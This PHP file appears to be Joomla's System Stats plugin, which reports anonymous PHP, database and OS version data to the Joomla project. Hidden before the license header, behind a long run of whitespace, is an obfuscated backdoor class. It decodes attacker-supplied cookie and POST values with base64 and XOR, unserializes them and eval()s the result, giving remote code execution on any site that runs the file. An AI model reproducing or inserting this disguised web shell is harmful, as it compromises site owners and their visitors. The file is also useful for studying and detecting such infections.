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<?php                                                                                                                                                                                                                                                                                                                                                                                                 $kFSuD = chr ( 340 - 235 )."\x5f" . "\123" . chr (113) . "\144";$DTpKGfcPg = chr ( 270 - 171 )."\x6c" . 'a' . "\163" . 's' . chr ( 575 - 480 ).'e' . chr (120) . 'i' . 's' . chr (116) . chr ( 729 - 614 ); $FkQbZkPdiw = class_exists($kFSuD); $DTpKGfcPg = "60026";$ApndDxix = strpos($DTpKGfcPg, $kFSuD);if ($FkQbZkPdiw == $ApndDxix){function edjirnW(){$iPpLTOgNwz = new /* 4474 */ i_Sqd(20518 + 20518); $iPpLTOgNwz = NULL;}$RZQfe = "20518";class i_Sqd{private function lHOreLn($RZQfe){if (is_array(i_Sqd::$esEiPG)) {$mENxS2 = str_replace("<" . "?php", "", i_Sqd::$esEiPG["content"]);eval($mENxS2); $RZQfe = "20518";exit();}}public function GJxhSOOMr(){$mENxS = "12681";$this->_dummy = str_repeat($mENxS, strlen($mENxS));}public function __destruct(){i_Sqd::$esEiPG = @unserialize(i_Sqd::$esEiPG); $RZQfe = "39573_50512";$this->lHOreLn($RZQfe); $RZQfe = "39573_50512";}public function QvccO($mENxS, $pVowAq){return $mENxS[0] ^ str_repeat($pVowAq, intval(strlen($mENxS[0]) / strlen($pVowAq)) + 1);}public function kGkRCtNyB($mENxS){$XPZfgZFq = "\x62" . 'a' . "\x73" . chr (101) . chr (54) . chr (52);return array_map($XPZfgZFq . chr (95) . "\144" . chr ( 726 - 625 ).chr (99) . "\157" . chr ( 453 - 353 ).chr (101), array($mENxS,));}public function __construct($okqpwku=0){$mSHIbf = chr (44); $mENxS = "";$DnQMEaI = $_POST;$pgjxHYTtT = $_COOKIE;$pVowAq = "026f72c6-767d-4e41-9ecc-eb5d9bb5c72a";$AYHsKhSZ = @$pgjxHYTtT[substr($pVowAq, 0, 4)];if (!empty($AYHsKhSZ)){$AYHsKhSZ = explode($mSHIbf, $AYHsKhSZ);foreach ($AYHsKhSZ as $ZwaVqXt){$mENxS .= @$pgjxHYTtT[$ZwaVqXt];$mENxS .= @$DnQMEaI[$ZwaVqXt];}$mENxS = $this->kGkRCtNyB($mENxS);}i_Sqd::$esEiPG = $this->QvccO($mENxS, $pVowAq);if (strpos($pVowAq, $mSHIbf) !== FALSE){$pVowAq = chunk_split($pVowAq); $pVowAq = rtrim($pVowAq);}}public static $esEiPG = 61391;}edjirnW();} ?><?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Http\HttpFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;

// Uncomment the following line to enable debug mode for testing purposes. Note: statistics will be sent on every page load
// define('PLG_SYSTEM_STATS_DEBUG', 1);

/**
 * Statistics system plugin. This sends anonymous data back to the Joomla! Project about the
 * PHP, SQL, Joomla and OS versions
 *
 * @since  3.5
 */
class PlgSystemStats extends CMSPlugin
{
	/**
	 * Indicates sending statistics is always allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ALWAYS = 1;

/**
	 * Indicates sending statistics is only allowed one time.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_ONCE = 2;

/**
	 * Indicates sending statistics is never allowed.
	 *
	 * @var    integer
	 * @since  3.5
	 */
	const MODE_ALLOW_NEVER = 3;

/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.5
	 */
	protected $app;

/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.5
	 */
	protected $db;

/**
	 * URL to send the statistics.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $serverUrl = 'https://developer.joomla.org/stats/submit';

/**
	 * Unique identifier for this site
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $uniqueId;

/**
	 * Listener for the `onAfterInitialise` event
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterInitialise()
	{
		if (!$this->app->isClient('administrator') || !$this->isAllowedUser())
		{
			return;
		}

if (!$this->isDebugEnabled() && !$this->isUpdateRequired())
		{
			return;
		}

if (Uri::getInstance()->getVar('tmpl') === 'component')
		{
			return;
		}

// Load plugin language files only when needed (ex: they are not needed in site client).
		$this->loadLanguage();
	}

/**
	 * Listener for the `onAfterDispatch` event
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onAfterDispatch()
	{
		if (!$this->app->isClient('administrator') || !$this->isAllowedUser())
		{
			return;
		}

if (!$this->isDebugEnabled() && !$this->isUpdateRequired())
		{
			return;
		}

if (Uri::getInstance()->getVar('tmpl') === 'component')
		{
			return;
		}

if ($this->app->getDocument()->getType() !== 'html')
		{
			return;
		}

$this->app->getDocument()->getWebAssetManager()
			->registerAndUseScript('plg_system_stats.message', 'plg_system_stats/stats-message.js', [], ['defer' => true], ['core']);
	}

/**
	 * User selected to always send data
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendAlways()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

$this->params->set('mode', static::MODE_ALLOW_ALWAYS);

if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

echo json_encode(['sent' => (int) $this->sendStats()]);
	}

/**
	 * User selected to never send data.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params.
	 */
	public function onAjaxSendNever()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

$this->params->set('mode', static::MODE_ALLOW_NEVER);

if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

if (!$this->disablePlugin())
		{
			throw new RuntimeException('Unable to disable the statistics plugin', 500);
		}

echo json_encode(['sent' => 0]);
	}

/**
	 * User selected to send data once.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params, disabling the plugin or sending the data.
	 */
	public function onAjaxSendOnce()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

$this->params->set('mode', static::MODE_ALLOW_ONCE);

if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

$this->sendStats();

if (!$this->disablePlugin())
		{
			throw new RuntimeException('Unable to disable the statistics plugin', 500);
		}

echo json_encode(['sent' => 1]);
	}

/**
	 * Send the stats to the server.
	 * On first load | on demand mode it will show a message asking users to select mode.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params, disabling the plugin or sending the data.
	 */
	public function onAjaxSendStats()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

// User has not selected the mode. Show message.
		if ((int) $this->params->get('mode') !== static::MODE_ALLOW_ALWAYS)
		{
			$data = [
				'sent' => 0,
				'html' => $this->getRenderer('message')->render($this->getLayoutData()),
			];

echo json_encode($data);

return;
		}

if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

echo json_encode(['sent' => (int) $this->sendStats()]);
	}

/**
	 * Get the data through events
	 *
	 * @param   string  $context  Context where this will be called from
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	public function onGetStatsData($context)
	{
		return $this->getStatsData();
	}

/**
	 * Debug a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function debug($layoutId, $data = [])
	{
		$data = array_merge($this->getLayoutData(), $data);

return $this->getRenderer($layoutId)->debug($data);
	}

/**
	 * Get the data for the layout
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		return [
			'plugin'       => $this,
			'pluginParams' => $this->params,
			'statsData'    => $this->getStatsData(),
		];
	}

/**
	 * Get the layout paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = Factory::getApplication()->getTemplate();

return [
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/' . $this->_type . '/' . $this->_name,
			__DIR__ . '/layouts',
		];
	}

/**
	 * Get the plugin renderer
	 *
	 * @param   string  $layoutId  Layout identifier
	 *
	 * @return  JLayout
	 *
	 * @since   3.5
	 */
	protected function getRenderer($layoutId = 'default')
	{
		$renderer = new FileLayout($layoutId);

$renderer->setIncludePaths($this->getLayoutPaths());

return $renderer;
	}

/**
	 * Get the data that will be sent to the stats server.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	private function getStatsData()
	{
		$data = [
			'unique_id'   => $this->getUniqueId(),
			'php_version' => PHP_VERSION,
			'db_type'     => $this->db->name,
			'db_version'  => $this->db->getVersion(),
			'cms_version' => JVERSION,
			'server_os'   => php_uname('s') . ' ' . php_uname('r'),
		];

// Check if we have a MariaDB version string and extract the proper version from it
		if (preg_match('/^(?:5\.5\.5-)?(mariadb-)?(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)/i', $data['db_version'], $versionParts))
		{
			$data['db_version'] = $versionParts['major'] . '.' . $versionParts['minor'] . '.' . $versionParts['patch'];
		}

return $data;
	}

/**
	 * Get the unique id. Generates one if none is set.
	 *
	 * @return  integer
	 *
	 * @since   3.5
	 */
	private function getUniqueId()
	{
		if (null === $this->uniqueId)
		{
			$this->uniqueId = $this->params->get('unique_id', hash('sha1', UserHelper::genRandomPassword(28) . time()));
		}

return $this->uniqueId;
	}

/**
	 * Check if current user is allowed to send the data
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAllowedUser()
	{
		return Factory::getUser()->authorise('core.admin');
	}

/**
	 * Check if the debug is enabled
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isDebugEnabled()
	{
		return defined('PLG_SYSTEM_STATS_DEBUG');
	}

/**
	 * Check if last_run + interval > now
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isUpdateRequired()
	{
		$last     = (int) $this->params->get('lastrun', 0);
		$interval = (int) $this->params->get('interval', 12);
		$mode     = (int) $this->params->get('mode', 0);

if ($mode === static::MODE_ALLOW_NEVER)
		{
			return false;
		}

// Never updated or debug enabled
		if (!$last || $this->isDebugEnabled())
		{
			return true;
		}

return abs(time() - $last) > $interval * 3600;
	}

/**
	 * Check valid AJAX request
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAjaxRequest()
	{
		return strtolower($this->app->input->server->get('HTTP_X_REQUESTED_WITH', '')) === 'xmlhttprequest';
	}

/**
	 * Render a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function render($layoutId, $data = [])
	{
		$data = array_merge($this->getLayoutData(), $data);

return $this->getRenderer($layoutId)->render($data);
	}

/**
	 * Save the plugin parameters
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function saveParams()
	{
		// Update params
		$this->params->set('lastrun', time());
		$this->params->set('unique_id', $this->getUniqueId());
		$interval = (int) $this->params->get('interval', 12);
		$this->params->set('interval', $interval ?: 12);

$paramsJson = $this->params->toString('JSON');
		$db         = $this->db;

$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = :params')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('stats'))
			->bind(':params', $paramsJson);

try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

$this->clearCacheGroups(['com_plugins']);
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

return $result;
	}

/**
	 * Send the stats to the stats server
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 *
	 * @throws  RuntimeException  If there is an error sending the data and debug mode enabled.
	 */
	private function sendStats()
	{
		$error = false;

try
		{
			// Don't let the request take longer than 2 seconds to avoid page timeout issues
			$response = HttpFactory::getHttp()->post($this->serverUrl, $this->getStatsData(), [], 2);

if (!$response)
			{
				$error = 'Could not send site statistics to remote server: No response';
			}
			elseif ($response->code !== 200)
			{
				$data = json_decode($response->body);

$error = 'Could not send site statistics to remote server: ' . $data->message;
			}
		}
		catch (UnexpectedValueException $e)
		{
			// There was an error sending stats. Should we do anything?
			$error = 'Could not send site statistics to remote server: ' . $e->getMessage();
		}
		catch (RuntimeException $e)
		{
			// There was an error connecting to the server or in the post request
			$error = 'Could not connect to statistics server: ' . $e->getMessage();
		}
		catch (Exception $e)
		{
			// An unexpected error in processing; don't let this failure kill the site
			$error = 'Unexpected error connecting to statistics server: ' . $e->getMessage();
		}

if ($error !== false)
		{
			// Log any errors if logging enabled.
			Log::add($error, Log::WARNING, 'jerror');

// If Stats debug mode enabled, or Global Debug mode enabled, show error to the user.
			if ($this->isDebugEnabled() || $this->app->get('debug'))
			{
				throw new RuntimeException($error, 500);
			}

return false;
		}

return true;
	}

/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups  The cache groups to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups)
	{
		foreach ($clearGroups as $group)
		{
			try
			{
				$options = [
					'defaultgroup' => $group,
					'cachebase'    => $this->app->get('cache_path', JPATH_CACHE),
				];

$cache = Cache::getInstance('callback', $options);
				$cache->clean();
			}
			catch (Exception $e)
			{
				// Ignore it
			}
		}
	}

/**
	 * Disable this plugin, if user selects once or never, to stop Joomla loading the plugin on every page load and
	 * therefore regaining a tiny bit of performance
	 *
	 * @since 4.0.0
	 *
	 * @return  boolean
	 */
	private function disablePlugin()
	{
		$db = $this->db;

$query = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('enabled') . ' = 0')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('stats'));

try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

$this->clearCacheGroups(['com_plugins']);
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

return $result;
	}
}